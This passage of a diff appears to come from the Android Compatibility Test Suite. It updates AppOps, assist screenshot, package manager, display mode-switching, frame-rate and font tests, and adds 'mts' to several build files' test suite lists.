+ mAppOps.finishOp(OPSTR_WRITE_CALENDAR, USER_SHELL_UID, SHELL_PACKAGE_NAME,
"secondAttribution")
- assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, Process.SHELL_UID,
+ assertFalse(mAppOps.isOpActive(OPSTR_WRITE_CALENDAR, USER_SHELL_UID,
SHELL_PACKAGE_NAME))
gotInActive.get(TIMEOUT_MS, TimeUnit.MILLISECONDS)
} finally {
@@ -296,7 +300,7 @@ class AppOpsTest {
val activeWatcher =
AppOpsManager.OnOpActiveChangedListener { _, uid, packageName, active ->
if (packageName == SHELL_PACKAGE_NAME &&
- uid == Process.SHELL_UID) {
+ uid == USER_SHELL_UID) {
receivedActiveState.push(active)
}
}
@@ -307,13 +311,13 @@ class AppOpsTest {
mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null)
assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
- mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null)
+ mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null)
assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
mAppOps.startOp(OPSTR_WIFI_SCAN, mMyUid, mOpPackageName, null, null)
assertTrue(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
- mAppOps.finishOp(OPSTR_WIFI_SCAN, Process.SHELL_UID, SHELL_PACKAGE_NAME, null)
+ mAppOps.finishOp(OPSTR_WIFI_SCAN, USER_SHELL_UID, SHELL_PACKAGE_NAME, null)
assertFalse(receivedActiveState.poll(TIMEOUT_MS, TimeUnit.MILLISECONDS)!!)
} finally {
mAppOps.stopWatchingActive(activeWatcher)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index f534aa8cf04..899721cb2f3 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -160,7 +160,7 @@ public class MainInteractionSession extends VoiceInteractionSession {
data, activity, structure, content));
if (activity != null && Utils.isAutomotive(mContext)
- && !activity.getPackageName().equals("android.assist.testapp")) {
+ && !activity.getPackageName().startsWith("android.assist")) {
// TODO: automotive has multiple activities / displays, so the test might fail if it
// receives one of them (like the cluster activity) instead of what's expecting. This is
// a quick fix for the issue; a better solution would be refactoring the infra to
diff --git a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
index 8c25deae26c..44a3109a740 100644
--- a/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
+++ b/tests/tests/assist/src/android/assist/cts/AssistTestBase.java
@@ -73,6 +73,7 @@ import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Consumer;
@RunWith(AndroidJUnit4.class)
abstract class AssistTestBase {
@@ -140,7 +141,8 @@ abstract class AssistTestBase {
@Nullable
protected RemoteCallback m3pActivityCallback;
- private RemoteCallback m3pCallbackReceiving;
+ @Nullable
+ protected RemoteCallback mSecondary3pActivityCallback;
protected boolean mScreenshotMatches;
private Point mDisplaySize;
@@ -168,7 +170,6 @@ abstract class AssistTestBase {
mActionLatchReceiver = new ActionLatchReceiver();
prepareDevice();
- registerForAsyncReceivingCallback();
customSetup();
}
@@ -185,11 +186,15 @@ abstract class AssistTestBase {
mTestActivity.finish();
mContext.sendBroadcast(new Intent(Utils.HIDE_SESSION));
-
if (m3pActivityCallback != null) {
m3pActivityCallback.sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
}
+ if (mSecondary3pActivityCallback != null) {
+ mSecondary3pActivityCallback
+ .sendResult(Utils.bundleOfRemoteAction(Utils.ACTION_END_OF_TEST));
+ }
+
mSessionCompletedLatch.await(3, TimeUnit.SECONDS);
}
@@ -209,19 +214,6 @@ abstract class AssistTestBase {
runShellCommand("wm dismiss-keyguard");
}
- private void registerForAsyncReceivingCallback() {
- HandlerThread handlerThread = new HandlerThread("AssistTestCallbackReceivingThread");
- handlerThread.start();
- Handler handler = new Handler(handlerThread.getLooper());
-
- m3pCallbackReceiving = new RemoteCallback((results) -> {
- String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
- if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
- m3pActivityCallback = results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING);
- }
- }, handler);
- }
-
protected void startTest(String testName) throws Exception {
Log.i(TAG, "Starting test activity for TestCaseType = " + testName);
Intent intent = new Intent();
@@ -244,7 +236,25 @@ abstract class AssistTestBase {
Utils.setTestAppAction(intent, testCaseName);
intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK, mRemoteCallback);
intent.addFlags(Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
- intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, m3pCallbackReceiving);
+
+ // In devices which support multi-window Activity positioning by default (such as foldables)
+ // it is necessary to launch additional activities ("screen fillers") so we may validate the
+ // entire screenshot captured by the Assistant (full display, not individual DisplayAreas)
+ if (m3pActivityCallback == null) { // first time start3pApp is called
+ intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING,
+ createRemoteCallbackReceiver(callback -> m3pActivityCallback = callback));
+ } else if (mSecondary3pActivityCallback == null) { // second time
+ // launch 3pApp on adjacent screen in test cases that need a "screen filler".
+ // necessary configuration to ensure Activity can be launched in another DisplayArea
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT
+ // as we are reusing this intent setup, unconditionally start a new task
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+ intent.putExtra(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING, createRemoteCallbackReceiver(
+ remoteCallback -> mSecondary3pActivityCallback = remoteCallback));
+ } else {
+ throw new IllegalStateException("start3pApp supports a maximum of two App instances.");
+ }
+
if (extras != null) {
intent.putExtras(extras);
}
@@ -253,6 +263,15 @@ abstract class AssistTestBase {
waitForOnResume();
}
+ private RemoteCallback createRemoteCallbackReceiver(Consumer<RemoteCallback> consumer) {
+ return new RemoteCallback((results) -> {
+ String action = results.getString(Utils.EXTRA_REMOTE_CALLBACK_ACTION);
+ if (action.equals(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING_ACTION)) {
+ consumer.accept(results.getParcelable(Utils.EXTRA_REMOTE_CALLBACK_RECEIVING));
+ }
+ }, new Handler(mContext.getMainLooper()));
+ }
+
/**
* Starts the shim service activity
*/
@@ -319,9 +338,8 @@ abstract class AssistTestBase {
*/
private void addDimensionsToIntent(Intent intent) {
if (mDisplaySize == null) {
- Display display = mTestActivity.getWindowManager().getDefaultDisplay();
- mDisplaySize = new Point();
- display.getRealSize(mDisplaySize);
+ Display.Mode dMode = mTestActivity.getWindowManager().getDefaultDisplay().getMode();
+ mDisplaySize = new Point(dMode.getPhysicalWidth(), dMode.getPhysicalHeight());
}
intent.putExtra(Utils.DISPLAY_WIDTH_KEY, mDisplaySize.x);
intent.putExtra(Utils.DISPLAY_HEIGHT_KEY, mDisplaySize.y);
diff --git a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
index c9d16c8546e..e5f0cd12b22 100644
--- a/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
+++ b/tests/tests/assist/src/android/assist/cts/ScreenshotTest.java
@@ -39,48 +39,20 @@ public class ScreenshotTest extends AssistTestBase {
@Test
public void testRedScreenshot() throws Throwable {
- if (mActivityManager.isLowRamDevice()) {
- Log.d(TAG, "Not running assist tests on low-RAM device.");
- return;
- }
-
- startTest(TEST_CASE_TYPE);
- waitForAssistantToBeReady();
-
- Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.RED);
- start3pApp(TEST_CASE_TYPE, bundle);
-
- eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.RED);
- verifyAssistDataNullness(false, false, false, false);
- assertThat(mScreenshotMatches).isTrue();
- });
+ validateDeviceAndRunTestForColor(Color.RED);
}
@Test
public void testGreenScreenshot() throws Throwable {
- if (mActivityManager.isLowRamDevice()) {
- Log.d(TAG, "Not running assist tests on low-RAM device.");
- return;
- }
-
- startTest(TEST_CASE_TYPE);
- waitForAssistantToBeReady();
-
- Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.GREEN);
- start3pApp(TEST_CASE_TYPE, bundle);
-
- eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.GREEN);
- verifyAssistDataNullness(false, false, false, false);
- assertThat(mScreenshotMatches).isTrue();
- });
+ validateDeviceAndRunTestForColor(Color.GREEN);
}
@Test
public void testBlueScreenshot() throws Throwable {
+ validateDeviceAndRunTestForColor(Color.BLUE);
+ }
+
+ private void validateDeviceAndRunTestForColor(int color) throws Throwable {
if (mActivityManager.isLowRamDevice()) {
Log.d(TAG, "Not running assist tests on low-RAM device.");
return;
@@ -90,11 +62,15 @@ public class ScreenshotTest extends AssistTestBase {
waitForAssistantToBeReady();
Bundle bundle = new Bundle();
- bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, Color.BLUE);
+ bundle.putInt(Utils.SCREENSHOT_COLOR_KEY, color);
+ start3pApp(TEST_CASE_TYPE, bundle);
+ // In multi-window devices (particularly foldables) we must cover the entire display
+ // to properly validate the Assistant screenshot; as there is no standard API to determine
+ // how many DisplayAreas a screen may contain, open a secondary activity for basic cases
start3pApp(TEST_CASE_TYPE, bundle);
eventuallyWithSessionClose(() -> {
- delayAndStartSession(Color.BLUE);
+ delayAndStartSession(color);
verifyAssistDataNullness(false, false, false, false);
assertThat(mScreenshotMatches).isTrue();
});
diff --git a/tests/tests/content/BinderPermissionTestService/Android.bp b/tests/tests/content/BinderPermissionTestService/Android.bp
index 928e532afa1..8ba24325f87 100644
--- a/tests/tests/content/BinderPermissionTestService/Android.bp
+++ b/tests/tests/content/BinderPermissionTestService/Android.bp
@@ -27,6 +27,7 @@ android_test_helper_app {
"aidl/**/I*.aidl",
],
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/DirectBootUnawareTestApp/Android.bp b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
index 4a1a9bb052e..8c35eb4b35f 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/Android.bp
+++ b/tests/tests/content/DirectBootUnawareTestApp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
index e3c2de5ab37..cb453239f0c 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -42,6 +42,7 @@ android_test {
srcs: ["src5/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -56,6 +57,7 @@ android_test {
manifest: "AndroidManifestProfileable.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"vts10",
"general-tests",
@@ -70,6 +72,7 @@ android_test {
srcs: ["src7/**/*.java"],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -105,6 +108,7 @@ android_test {
],
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -120,6 +124,7 @@ android_test {
manifest: "AndroidManifestShell.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"vts10",
"general-tests",
diff --git a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
index c24d69a3b5a..c211c0c2ad4 100644
--- a/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
+++ b/tests/tests/content/PartiallyDirectBootAwareTestApp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/SyncAccountAccessStubs/Android.bp b/tests/tests/content/SyncAccountAccessStubs/Android.bp
index e8904d7fa44..9f1e9abfd20 100644
--- a/tests/tests/content/SyncAccountAccessStubs/Android.bp
+++ b/tests/tests/content/SyncAccountAccessStubs/Android.bp
@@ -25,6 +25,7 @@ android_test_helper_app {
srcs: ["src/**/*.java"],
sdk_version: "current",
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/emptytestapp/Android.bp b/tests/tests/content/emptytestapp/Android.bp
index 42f36d0291a..70c87fe8da5 100644
--- a/tests/tests/content/emptytestapp/Android.bp
+++ b/tests/tests/content/emptytestapp/Android.bp
@@ -22,6 +22,7 @@ android_test_helper_app {
sdk_version: "current",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -35,6 +36,7 @@ android_test_helper_app {
manifest: "AndroidManifestLongPackageName.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -48,6 +50,7 @@ android_test_helper_app {
manifest: "AndroidManifestLongSharedUserId.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -61,6 +64,7 @@ android_test_helper_app {
manifest: "AndroidManifestMaxPackageName.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
@@ -73,6 +77,7 @@ android_test_helper_app {
manifest: "AndroidManifestMaxSharedUserId.xml",
// tag this module as a cts test artifact
test_suites: [
+ "mts",
"cts",
"general-tests",
],
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
index 8470a12356e..d1a46b0ece9 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerShellCommandIncrementalTest.java
@@ -934,10 +934,15 @@ public class PackageManagerShellCommandIncrementalTest {
}
static boolean isAppInstalled(String packageName) throws IOException {
- final String commandResult = executeShellCommand("pm list packages");
- final int prefixLength = "package:".length();
+ return isAppInstalledForUser(packageName, -1);
+ }
+
+ static boolean isAppInstalledForUser(String packageName, int userId) throws IOException {
+ final String command = userId < 0 ? "pm list packages " + packageName :
+ "pm list packages --user " + userId + " " + packageName;
+ final String commandResult = executeShellCommand(command);
return Arrays.stream(commandResult.split("\\r?\\n"))
- .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+ .anyMatch(line -> line.equals("package:" + packageName));
}
private String getSplits(String packageName) throws IOException {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 598e8825cf4..71648b3135f 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -1416,7 +1416,24 @@ public class PackageManagerTest {
runTestWithFlags(PACKAGE_INFO_MATCH_FLAGS,
this::testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates);
}
+
+ // TODO(b/200519752): Remove once the bug is fixed
+ private boolean containsUpdatedApex() {
+ List<PackageInfo> installedApexPackages =
+ mPackageManager.getInstalledPackages(PackageManager.MATCH_APEX);
+ return installedApexPackages.stream().anyMatch(
+ p -> p.applicationInfo.sourceDir.startsWith("/data/apex"));
+ }
+
public void testGetInstalledPackages_WithFactoryFlag_ContainsNoDuplicates(int flags) {
+ // TODO(b/200519752): Due to the bug, if there are updated APEX modules, then test will fail
+ // for flag: 0x40002000 and its superset. Skip under that specific condition.
+ int flagToSkip = MATCH_UNINSTALLED_PACKAGES | MATCH_APEX;
+ if (containsUpdatedApex() && (flags & flagToSkip) == flagToSkip) {
+ // Return silently so that the test still gets run for other flag combination.
+ return;
+ }
+
List<PackageInfo> packageInfos =
mPackageManager.getInstalledPackages(flags | MATCH_FACTORY_ONLY);
Set<String> foundPackages = new HashSet<>();
diff --git a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
index 0cb98f44539..5385577c163 100644
--- a/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/ResourcesHardeningTest.java
@@ -17,7 +17,7 @@
package android.content.pm.cts;
import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.checkIncrementalDeliveryFeature;
-import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalled;
+import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.isAppInstalledForUser;
import static android.content.pm.cts.PackageManagerShellCommandIncrementalTest.uninstallPackageSilently;
import static org.hamcrest.core.IsInstanceOf.instanceOf;
@@ -373,20 +373,20 @@ public class ResourcesHardeningTest {
final String v4SignatureSuffix = ".idsig";
final TestBlockFilter filter = new TestBlockFilter();
final IncrementalInstallSession.Builder builder = new IncrementalInstallSession.Builder()
- .addExtraArgs("-t", "-i", getContext().getPackageName())
+ .addExtraArgs("--user", String.valueOf(getContext().getUserId()),
+ "-t", "-i", getContext().getPackageName())
.setLogger(new IncrementalDeviceConnection.Logger())
.setBlockFilter(filter);
for (final String apk : apks) {
final String path = TEST_APK_PATH + apk;
builder.addApk(Paths.get(path), Paths.get(path + v4SignatureSuffix));
}
-
final ShellInstallSession session = new ShellInstallSession(
builder.build(), filter, packageName);
session.session.start(Executors.newSingleThreadExecutor(),
IncrementalDeviceConnection.Factory.reliable());
session.session.waitForInstallCompleted(10, TimeUnit.SECONDS);
- assertTrue(isAppInstalled(packageName));
+ assertTrue(isAppInstalledForUser(packageName, getContext().getUserId()));
return session;
}
diff --git a/tests/tests/display/src/android/display/cts/DisplayTest.java b/tests/tests/display/src/android/display/cts/DisplayTest.java
index a49528526a4..993ec858bd7 100644
--- a/tests/tests/display/src/android/display/cts/DisplayTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayTest.java
@@ -21,8 +21,15 @@ import static android.view.Display.DEFAULT_DISPLAY;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
import android.Manifest;
import android.app.Activity;
@@ -64,9 +71,12 @@ import androidx.test.rule.ActivityTestRule;
import androidx.test.runner.AndroidJUnit4;
import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DisplayUtil;
import com.android.compatibility.common.util.PropertyUtil;
+import com.google.common.truth.Truth;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Rule;
@@ -83,10 +93,10 @@ import java.util.List;
import java.util.Optional;
import java.util.Random;
import java.util.Scanner;
-import java.util.concurrent.TimeoutException;
-import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
import java.util.concurrent.locks.Condition;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
@@ -112,6 +122,7 @@ public class DisplayTest {
private static final String OVERLAY_DISPLAY_NAME_PREFIX = "Overlay #";
private static final int BRIGHTNESS_MAX = 255;
+ private static final float REFRESH_RATE_TOLERANCE = 0.001f;
private DisplayManager mDisplayManager;
private WindowManager mWindowManager;
@@ -120,6 +131,7 @@ public class DisplayTest {
private ColorSpace[] mSupportedWideGamuts;
private Display mDefaultDisplay;
private HdrSettings mOriginalHdrSettings;
+ private int mInitialRefreshRateSwitchingType;
// To test display mode switches.
private TestPresentation mPresentation;
@@ -193,7 +205,8 @@ public class DisplayTest {
Manifest.permission.OVERRIDE_DISPLAY_MODE_REQUESTS,
Manifest.permission.ACCESS_SURFACE_FLINGER,
Manifest.permission.WRITE_SECURE_SETTINGS,
- Manifest.permission.HDMI_CEC);
+ Manifest.permission.HDMI_CEC,
+ Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE);
@Before
public void setUp() throws Exception {
@@ -594,12 +607,16 @@ public class DisplayTest {
try {
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
+ mInitialRefreshRateSwitchingType =
+ DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+ mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
final DisplayTestActivity activity = launchActivity(mRetainedDisplayTestActivity);
for (Display.Mode mode : modesList) {
testSwitchToModeId(activity, mode);
}
} finally {
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+ mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
}
}
@@ -618,10 +635,13 @@ public class DisplayTest {
try {
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
assertTrue(mDisplayManager.shouldAlwaysRespectAppRequestedMode());
- final DisplayTestActivity activity = launchActivity(mDisplayTestActivity);
+ mInitialRefreshRateSwitchingType =
+ DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
+ mDisplayManager.setRefreshRateSwitchingType(DisplayManager.SWITCHING_TYPE_NONE);
testSwitchToModeId(launchActivity(mDisplayTestActivity), newMode.get());
} finally {
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
+ mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
}
}
@@ -629,16 +649,18 @@ public class DisplayTest {
return new Point(mode.getPhysicalWidth(), mode.getPhysicalHeight());
}
- private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode mode)
+ private void testSwitchToModeId(DisplayTestActivity activity, Display.Mode targetMode)
throws Exception {
- Log.i(TAG, "Switching to mode " + mode);
+ final DisplayModeState initialMode = new DisplayModeState(mDefaultDisplay);
+ Log.i(TAG, "Testing switching to mode " + targetMode + ". Current mode = " + initialMode);
final CountDownLatch changeSignal = new CountDownLatch(1);
final AtomicInteger changeCounter = new AtomicInteger(0);
- final DisplayModeState activeMode = new DisplayModeState(mDefaultDisplay);
+ final AtomicInteger changesToReachTargetMode = new AtomicInteger(0);
DisplayListener listener = new DisplayListener() {
- private DisplayModeState mLastMode = activeMode;
+ private DisplayModeState mLastMode = initialMode;
+ private boolean mIsDesiredModeReached = false;
@Override
public void onDisplayAdded(int displayId) {}
@@ -656,7 +678,16 @@ public class DisplayTest {
Log.i(TAG, "Switched mode from=" + mLastMode + " to=" + newMode);
changeCounter.incrementAndGet();
- changeSignal.countDown();
+
+ if (targetMode.getPhysicalHeight() == newMode.mHeight
+ && targetMode.getPhysicalWidth() == newMode.mWidth
+ && Math.abs(targetMode.getRefreshRate() - newMode.mRefreshRate)
+ < REFRESH_RATE_TOLERANCE
+ && !mIsDesiredModeReached) {
+ mIsDesiredModeReached = true;
+ changeSignal.countDown();
+ changesToReachTargetMode.set(changeCounter.get());
+ }
mLastMode = newMode;
}
@@ -670,7 +701,7 @@ public class DisplayTest {
final CountDownLatch presentationSignal = new CountDownLatch(1);
handler.post(() -> {
- activity.setPreferredDisplayMode(mode);
+ activity.setPreferredDisplayMode(targetMode);
presentationSignal.countDown();
});
@@ -679,13 +710,33 @@ public class DisplayTest {
// Wait until the display change is effective.
assertTrue(changeSignal.await(5, TimeUnit.SECONDS));
DisplayModeState currentMode = new DisplayModeState(mDefaultDisplay);
- assertEquals(mode.getPhysicalHeight(), currentMode.mHeight);
- assertEquals(mode.getPhysicalWidth(), currentMode.mWidth);
- assertEquals(mode.getRefreshRate(), currentMode.mRefreshRate, 0.001f);
+ assertEquals(targetMode.getPhysicalHeight(), currentMode.mHeight);
+ assertEquals(targetMode.getPhysicalWidth(), currentMode.mWidth);
+ assertEquals(targetMode.getRefreshRate(), currentMode.mRefreshRate, REFRESH_RATE_TOLERANCE);
+
+
+ boolean isResolutionSwitch = initialMode.mHeight != targetMode.getPhysicalHeight()
+ || initialMode.mWidth != targetMode.getPhysicalHeight();
+ boolean isRefreshRateSwitch =
+ Math.abs(initialMode.mRefreshRate - targetMode.getRefreshRate())
+ > REFRESH_RATE_TOLERANCE;
+ // When both resolution and refresh rate are changed the transition can happen with two
+ // mode switches:
+ // 1) When the frame rate vote is applied in
+ // java.com.android.server.wm.WindowState#updateFrameRateSelectionPriorityIfNeeded
+ // 2) When the DisplayManager policy is applied to RefreshRateConfigs in SurfaceFlinger.
+ // TODO(b/199895248) Expect only 1 mode change.
+ Truth.assertThat(changesToReachTargetMode.get())
+ .isAtMost((isResolutionSwitch && isRefreshRateSwitch) ? 2 : 1);
// Make sure no more display mode changes are registered.
Thread.sleep(Duration.ofSeconds(3).toMillis());
- assertEquals(1, changeCounter.get());
+
+ // When a resolution switch occurs the DisplayManager policy in RefreshRateConfigs
+ // is cleared and later reapplied. This may lead to two additional mode switches.
+ // TODO(b/200265160) Expect no changes.
+ Truth.assertThat(changeCounter.get() - changesToReachTargetMode.get())
+ .isAtMost(isResolutionSwitch ? 2 : 0);
// Many TV apps use the vendor.display-size sysprop to detect the display size (although
// it's not an official API). In Android S the bugs which required this workaround were
@@ -695,8 +746,8 @@ public class DisplayTest {
if (PropertyUtil.getVendorApiLevel() >= Build.VERSION_CODES.S) {
Point vendorDisplaySize = getVendorDisplaySize();
if (vendorDisplaySize != null) {
- assertEquals(mode.getPhysicalWidth(), vendorDisplaySize.x);
- assertEquals(mode.getPhysicalHeight(), vendorDisplaySize.y);
+ assertEquals(targetMode.getPhysicalWidth(), vendorDisplaySize.x);
+ assertEquals(targetMode.getPhysicalHeight(), vendorDisplaySize.y);
}
}
@@ -972,6 +1023,7 @@ public class DisplayTest {
assertEquals(supportsWideGamut, supportsP3);
}
+ @CddTest(requirement="7.1.1.1/H-0-2")
@Test
public void testRestrictedFramebufferSize() {
PackageManager packageManager = mContext.getPackageManager();
diff --git a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
index ff0ce797eb8..26425c47051 100644
--- a/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/MatchContentFrameRateTest.java
@@ -53,7 +53,7 @@ public class MatchContentFrameRateTest {
Manifest.permission.MODIFY_REFRESH_RATE_SWITCHING_TYPE,
Manifest.permission.HDMI_CEC);
- private int mInitialMatchContentFrameRate;
+ private int mInitialRefreshRateSwitchingType;
private DisplayManager mDisplayManager;
@Before
@@ -68,14 +68,13 @@ public class MatchContentFrameRateTest {
mDisplayManager = activity.getSystemService(DisplayManager.class);
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(true);
- mInitialMatchContentFrameRate = toSwitchingType(
- mDisplayManager.getMatchContentFrameRateUserPreference());
+ mInitialRefreshRateSwitchingType = DisplayUtil.getRefreshRateSwitchingType(mDisplayManager);
}
@After
public void tearDown() {
if (mDisplayManager != null) {
- mDisplayManager.setRefreshRateSwitchingType(mInitialMatchContentFrameRate);
+ mDisplayManager.setRefreshRateSwitchingType(mInitialRefreshRateSwitchingType);
mDisplayManager.setShouldAlwaysRespectAppRequestedMode(false);
}
}
@@ -109,18 +108,4 @@ public class MatchContentFrameRateTest {
FrameRateCtsActivity activity = mActivityRule.getActivity();
activity.testMatchContentFramerate_Always();
}
-
- private int toSwitchingType(int matchContentFrameRateUserPreference) {
- switch (matchContentFrameRateUserPreference) {
- case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER:
- return DisplayManager.SWITCHING_TYPE_NONE;
- case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY:
- return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS;
- case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS:
- return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS;
- default:
- return -1;
- }
- }
-
}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
index dd9576f1ad3..0e2711dbd7c 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/FontManagerTest.java
@@ -34,6 +34,7 @@ import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
+import org.junit.Ignore;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -117,6 +118,7 @@ public class FontManagerTest {
}
}
+ @Ignore("TODO(b/199671094)")
@Test
public void fontManager_getFontConfig_checkAlias() {
FontConfig config = getFontConfig();
